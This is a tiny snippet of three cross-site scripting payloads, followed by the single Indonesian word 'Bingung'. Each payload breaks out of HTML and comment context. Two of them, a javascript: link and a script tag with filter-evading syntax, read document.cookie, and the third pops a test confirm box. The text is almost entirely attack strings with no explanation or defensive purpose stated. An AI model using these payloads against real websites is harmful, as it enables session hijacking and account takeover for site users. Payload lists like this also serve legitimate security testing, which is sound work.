"'--!><a href=javascript:prompt(document.cookie)>#

"'--!><Script /K/>prompt(document.cookie)</Script /K/>#

"'--!><Script /K/>confirm('TestXss')</Script /K/>#

Bingung